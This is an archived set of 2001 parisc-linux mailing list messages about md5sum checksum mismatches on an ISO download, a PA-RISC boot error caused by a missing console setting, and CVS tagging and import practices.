   Ecole Polytechnique de l'Universit de Nantes
      Matthieu.Lecorre@polytech.univ-nantes.fr
                     02.40.68.32.23
__________________________________________________




From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 08:29:09 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20010712082908.K531@tausq.org>
References: <001201c10ad2$3beb97b0$0f809b8e@ati.stlawrencec.on.ca> <20010712140756.C18375@linuxcare.com> <001e01c10ad6$588cb4e0$0f809b8e@ati.stlawrencec.on.ca> <20010712145615.E18375@linuxcare.com> <000701c10ae4$186cf6a0$0f809b8e@ati.stlawrencec.on.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620297 22315 80.91.229.3 (22 Nov 2014 01:38:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rpengelly <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 09:29:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4244482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 09:29:58 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id ionpgaaa for parisc-linux@lists.parisc-linux.org; Thu, 12 Jul 2001 08:26:28 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15KiOr-0003QE-00; Thu, 12 Jul 2001 08:29:09 -0700
Content-Disposition: inline
In-Reply-To: <000701c10ae4$186cf6a0$0f809b8e@ati.stlawrencec.on.ca>
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11606

In reference to a message from rpengelly, dated Jul 12:
> I downloaded the 0.92 full iso and its checksum did not match any of the
> one's given. I'm wondering if it may be because I first have to download it
> form esiee to a windows machine then transfer it via ftp to a linux box.
> 
> It still seems strange that the file downloads in .gz format but will not
> unzip.
> 
> Would you be willing to help me out by sending the files by ftp to my linux
> box? I don't know if you have a high speed connection or not?
> Thanks again

Be careful, Debian uses BSD md5sum instead of GNU md5, some other Linux
systems use GNU md5sum. They produce different output for the same
input!

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS rumors
Date: Thu, 12 Jul 2001 09:30:35 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <E15KiQF-0005Vh-00@noam.fc.hp.com>
References: <E15Jz7i-00028D-00@noam.fc.hp.com> <20010710172502.A6103@parcelfarce.linux.theplanet.co.uk> <E15K1Iz-0002RR-00@noam.fc.hp.com>  <3B4D2AB1.5010809@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620298 22317 80.91.229.3 (22 Nov 2014 01:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Michael Ang <mang@subcarrier.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 09:30:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id E71F5482A
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jul 2001 09:30:42 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 9CE891F975; Thu, 12 Jul 2001 11:30:06 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id JAA04860;
	Thu, 12 Jul 2001 09:30:36 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15KiQF-0005Vh-00; Thu, 12 Jul 2001 09:30:35 -0600
In-Reply-To: Your message of "Thu, 12 Jul 2001 00:42:25 EDT."
             <3B4D2AB1.5010809@subcarrier.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:11607

= > CM best practices usually involve explicitly tagging any release one
= > hopes to reproduce in the future and we could start doing that (I recommend
= > it).  For now either we apply the aforementioned workaround so we can
= > do untagged date-based checkouts, or I can come up with a procedure for
= > grabbing a suitable set of bits.
= 
= Tags are cheap.  Explicitly tagging at important moments is the way to 
= go.  Relying on a date-based checkout is potentially less accurate, so 
= IMO this shouldn't be the common practice.  There's no harm in adding a 
= static tag, and you can always remove it or possibly fix it up if you 
= get it wrong.

Tagging a linux source tree over the network is slow however.

More information on date+branch CVS checkouts:  When there are multiple
branches, a date-based checkout must also supply a branch, implicitly
or explicitly, to disambiguate.  RCS has this feature
and it works fine (see the 'co' man page).  I can't force CVS to do it
though, on the trunk anyway, despite it's being built upon RCS :-(

So the workaround for date-based checkout of our trunk is.... use RCS
on a copy (can be 'cp -l') of our CVS repository :-( :-(

= Writing an import script was one of those things I always meant to do in 
= my copious spare time.  I'm glad to see that someone is actually doing 
= the work :)  Where does the code for safe-cvsimport live?

http://puffin.external.hp.com/cvs/build-tools/safe-cvsimport

Beware -- it uses 'cvs admin -b' plus at the moment seems not to remove
upstream-removed files correctly.  I'm thinking of re-doing it to
avoid using 'cvs import' altogether -- it is in need of a rewrite.

= I'd avoid using the term "vendor branch", since that already has a 
= specific meaning to savvy CVS users (who will rightly criticize their 
= use).  Calling it something like the "upstream branch" would avoid the 
= overloaded meaning.

Good idea.

= I haven't been following things enough to know what 
= the issues related to "the vestiges of upstream imports" are.

At least one upstream import+merge was done directly to the trunk.  So
changes which came with that import are unresolvable by
CVS during a merge and can require some sleuthing -- particularly
any files which were added/deleted at that time.

	-P




From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 08:55:31 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20010712085531.L531@tausq.org>
References: <001201c10ad2$3beb97b0$0f809b8e@ati.stlawrencec.on.ca> <20010712140756.C18375@linuxcare.com> <001e01c10ad6$588cb4e0$0f809b8e@ati.stlawrencec.on.ca> <20010712145615.E18375@linuxcare.com> <000701c10ae4$186cf6a0$0f809b8e@ati.stlawrencec.on.ca> <20010712082908.K531@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620298 22318 80.91.229.3 (22 Nov 2014 01:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rpengelly <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 09:56:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02D9A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 09:56:05 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id hvnpgaaa for parisc-linux@lists.parisc-linux.org; Thu, 12 Jul 2001 08:52:42 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15KioN-0003SB-00; Thu, 12 Jul 2001 08:55:31 -0700
Content-Disposition: inline
In-Reply-To: <20010712082908.K531@tausq.org>
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11608

> Be careful, Debian uses BSD md5sum instead of GNU md5, some other Linux
> systems use GNU md5sum. They produce different output for the same
> input!

..... or maybe i'm just smoking something. ISTR them being different in
some cases, but when i tried just now they produce the same output.
Argh...

sorry to add to the confusion,
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 23:57:52 +0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20010712235750.Q17064@neep.com.au>
References: <001201c10ad2$3beb97b0$0f809b8e@ati.stlawrencec.on.ca> <20010712140756.C18375@linuxcare.com> <001e01c10ad6$588cb4e0$0f809b8e@ati.stlawrencec.on.ca> <20010712145615.E18375@linuxcare.com> <000701c10ae4$186cf6a0$0f809b8e@ati.stlawrencec.on.ca> <20010712082908.K531@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620298 22320 80.91.229.3 (22 Nov 2014 01:38:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 09:58:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-03.iinet.net.au [203.59.24.18])
	by dsl2.external.hp.com (Postfix) with SMTP id 37614482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 09:58:16 -0600 (MDT)
Original-Received: (qmail 1419 invoked by uid 666); 12 Jul 2001 15:58:10 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.185.201)
  by mail.iinet.net.au with SMTP; 12 Jul 2001 15:58:10 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id XAA17154
	for parisc-linux@lists.parisc-linux.org; Thu, 12 Jul 2001 23:57:56 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010712082908.K531@tausq.org>; from randolph@tausq.org on Thu, Jul 12, 2001 at 08:29:09AM -0700
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11609

Quoth Randolph Chung:
> Be careful, Debian uses BSD md5sum instead of GNU md5, some other
> Linux systems use GNU md5sum. They produce different output for the
> same input!

It does?  I've never seen a GNU md5sum.  BSD's "md5" program has a
different output format although the algorithm is the same.  Also the
various checksum programs I've found for Windows and Mac OS refer to the
algorithm as 'RSA MD5'.  The only times I've found a discrepancy between
md5sum programs is the Windows command-line one that rudely assumes data
is ascii by default and has to be given the '-b' flag for checksums to
match those generated under a Unix or Mac.

(If you can set me straight off-list I'd be happy to listen.)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with checksums
Date: Thu, 12 Jul 2001 17:13:30 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010712171330.M3048@parcelfarce.linux.theplanet.co.uk>
References: <001201c10ad2$3beb97b0$0f809b8e@ati.stlawrencec.on.ca> <20010712140756.C18375@linuxcare.com> <001e01c10ad6$588cb4e0$0f809b8e@ati.stlawrencec.on.ca> <20010712145615.E18375@linuxcare.com> <000701c10ae4$186cf6a0$0f809b8e@ati.stlawrencec.on.ca> <20010712082908.K531@tausq.org> <20010712085531.L531@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620299 22323 80.91.229.3 (22 Nov 2014 01:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:19 +0000 (UTC)
Cc: rpengelly <rpengelly@ati.stlawrencec.on.ca>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 10:13:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86137482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 10:13:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Kj5m-0007UU-00; Thu, 12 Jul 2001 17:13:30 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010712085531.L531@tausq.org>; from randolph@tausq.org on Thu, Jul 12, 2001 at 08:55:31AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11610

On Thu, Jul 12, 2001 at 08:55:31AM -0700, Randolph Chung wrote:
> > Be careful, Debian uses BSD md5sum instead of GNU md5, some other Linux
> > systems use GNU md5sum. They produce different output for the same
> > input!
> 
> ..... or maybe i'm just smoking something. ISTR them being different in
> some cases, but when i tried just now they produce the same output.
> Argh...

You're confused with normal sum, I believe.  Although GNU sum defaults to
BSD-style, so I'm not sure exactly which drugs you're taking :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735/99
Date: Thu, 12 Jul 2001 13:32:14 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <003601c10af8$9f749770$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0033_01C10AD7.0FDE7C50"
X-Trace: ger.gmane.org 1416620299 22325 80.91.229.3 (22 Nov 2014 01:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:19 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 11:30:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB87D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 11:30:09 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 3ZHCQW2B; Thu, 12 Jul 2001 13:30:07 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11611

This is a multi-part message in MIME format.

------=_NextPart_000_0033_01C10AD7.0FDE7C50
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I've got the 0.9.2 full iso and mounted it properly. We've booted using =
rbootd and the lifimage loads but runs into trouble at the kernel =
branch.

The exact error is=20
branching to kernel entry point 0x00100000

Anyone know what would cause this?


------=_NextPart_000_0033_01C10AD7.0FDE7C50
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I've got the 0.9.2 full iso and mounted =
it=20
properly. We've booted using rbootd and the lifimage loads but runs into =
trouble=20
at the kernel branch.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The exact error is </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>branching to kernel entry point=20
0x00100000</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Anyone know what would cause =
this?</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0033_01C10AD7.0FDE7C50--





From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/99
Date: Thu, 12 Jul 2001 13:37:31 -0400
Lines: 82
Approved: news@gmane.org
Message-ID: <000f01c10af9$53e02ee0$0f809b8e@ati.stlawrencec.on.ca>
References: <003601c10af8$9f749770$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000C_01C10AD7.CCB7AB80"
X-Trace: ger.gmane.org 1416620299 22331 80.91.229.3 (22 Nov 2014 01:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:19 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 11:35:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E645482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jul 2001 11:35:12 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 3ZHCQW21; Thu, 12 Jul 2001 13:35:10 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11612

This is a multi-part message in MIME format.

------=_NextPart_000_000C_01C10AD7.CCB7AB80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Ignore the last message. I forgot to change the command line to =
console=3DttyS0.
  ----- Original Message -----=20
  From: rpengelly=20
  To: parisc-linux@lists.parisc-linux.org=20
  Sent: Thursday, July 12, 2001 1:32 PM
  Subject: [parisc-linux] 735/99


  I've got the 0.9.2 full iso and mounted it properly. We've booted =
using rbootd and the lifimage loads but runs into trouble at the kernel =
branch.

  The exact error is=20
  branching to kernel entry point 0x00100000

  Anyone know what would cause this?


------=_NextPart_000_000C_01C10AD7.CCB7AB80
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Ignore the last message. I forgot to =
change the=20
command line to console=3DttyS0.</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:rpengelly@ati.stlawrencec.on.ca"=20
  title=3Drpengelly@ati.stlawrencec.on.ca>rpengelly</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:parisc-linux@lists.parisc-linux.org"=20
  =
title=3Dparisc-linux@lists.parisc-linux.org>parisc-linux@lists.parisc-lin=
ux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Thursday, July 12, 2001 =
1:32=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [parisc-linux] =
735/99</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>I've got the 0.9.2 full iso and =
mounted it=20
  properly. We've booted using rbootd and the lifimage loads but runs =
into=20
  trouble at the kernel branch.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>The exact error is </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>branching to kernel entry point=20
  0x00100000</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Anyone know what would cause =
this?</FONT></DIV>
  <DIV>&nbsp;</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_000C_01C10AD7.CCB7AB80--





From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS rumors
Date: Thu, 12 Jul 2001 11:01:07 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <3B4DBBB3.9080101@subcarrier.org>
References: <E15Jz7i-00028D-00@noam.fc.hp.com> <20010710172502.A6103@parcelfarce.linux.theplanet.co.uk> <E15K1Iz-0002RR-00@noam.fc.hp.com>  <3B4D2AB1.5010809@subcarrier.org> <E15KiQF-0005Vh-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620300 22333 80.91.229.3 (22 Nov 2014 01:38:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 12:02:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from relay1.pair.com (relay1.pair.com [209.68.1.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2D381482A
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jul 2001 12:02:48 -0600 (MDT)
Original-Received: (qmail 12890 invoked from network); 12 Jul 2001 18:02:45 -0000
Original-Received: from softdnserror (HELO subcarrier.org) (209.157.142.140)
  by relay1.pair.com with SMTP; 12 Jul 2001 18:02:45 -0000
X-pair-Authenticated: 209.157.142.140
User-Agent: Mozilla/5.0 (X11; U; Linux 2.4.2-2 i686; en-US; rv:0.9.1) Gecko/20010622
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:11613

Paul Bame wrote:


 > = Tags are cheap.  Explicitly tagging at important moments is the way to
 > = go.  Relying on a date-based checkout is potentially less accurate, so
 > = IMO this shouldn't be the common practice.  There's no harm in 
adding a
 > = static tag, and you can always remove it or possibly fix it up if you
 > = get it wrong.
 >
 > Tagging a linux source tree over the network is slow however.


True, but in the absence of a working date + branch checkout, it's a
reasonable interim solution (real solution is to fix cvs).


 > More information on date+branch CVS checkouts:  When there are multiple
 > branches, a date-based checkout must also supply a branch, implicitly
 > or explicitly, to disambiguate.  RCS has this feature
 > and it works fine (see the 'co' man page).  I can't force CVS to do it
 > though, on the trunk anyway, despite it's being built upon RCS :-(
 >
 > So the workaround for date-based checkout of our trunk is.... use RCS
 > on a copy (can be 'cp -l') of our CVS repository :-( :-(


Ugh.


 > = Where does the code for safe-cvsimport live?
 >
 > http://puffin.external.hp.com/cvs/build-tools/safe-cvsimport
 >
 > Beware -- it uses 'cvs admin -b' plus at the moment seems not to remove
 > upstream-removed files correctly.  I'm thinking of re-doing it to
 > avoid using 'cvs import' altogether -- it is in need of a rewrite.


I don't know of any way to get rid of the vendor branch taint other than
using 'cvs admin -b' or (less preferably) rcs directly.


 > = I haven't been following things enough to know what
 > = the issues related to "the vestiges of upstream imports" are.
 >
 > At least one upstream import+merge was done directly to the trunk.  So
 > changes which came with that import are unresolvable by
 > CVS during a merge and can require some sleuthing -- particularly
 > any files which were added/deleted at that time.


Ouch.  The import should have some distinct tag, and I guess using a
date tag is the best you'll get for trying to determine the state prior
to the merge (which, according to Murphy's Law, I predict overlapped
regular development).  My best advice is "don't do that then".

	- Mike.








From - Thu Nov 08 21:18:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS rumors
Date: Thu, 12 Jul 2001 12:30:13 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <E15KlE5-0005j2-00@noam.fc.hp.com>
References: <E15Jz7i-00028D-00@noam.fc.hp.com> <20010710172502.A6103@parcelfarce.linux.theplanet.co.uk> <E15K1Iz-0002RR-00@noam.fc.hp.com> <3B4D2AB1.5010809@subcarrier.org> <E15KiQF-0005Vh-00@noam.fc.hp.com>  <3B4DBBB3.9080101@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620300 22334 80.91.229.3 (22 Nov 2014 01:38:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Michael Ang <mang@subcarrier.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 12 12:30:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53513482A
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jul 2001 12:30:16 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel6.hp.com (Postfix) with ESMTP
	id D354A1F772; Thu, 12 Jul 2001 14:30:14 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id MAA25422;
	Thu, 12 Jul 2001 12:30:14 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15KlE5-0005j2-00; Thu, 12 Jul 2001 12:30:13 -0600
In-Reply-To: Your message of "Thu, 12 Jul 2001 11:01:07 EDT."
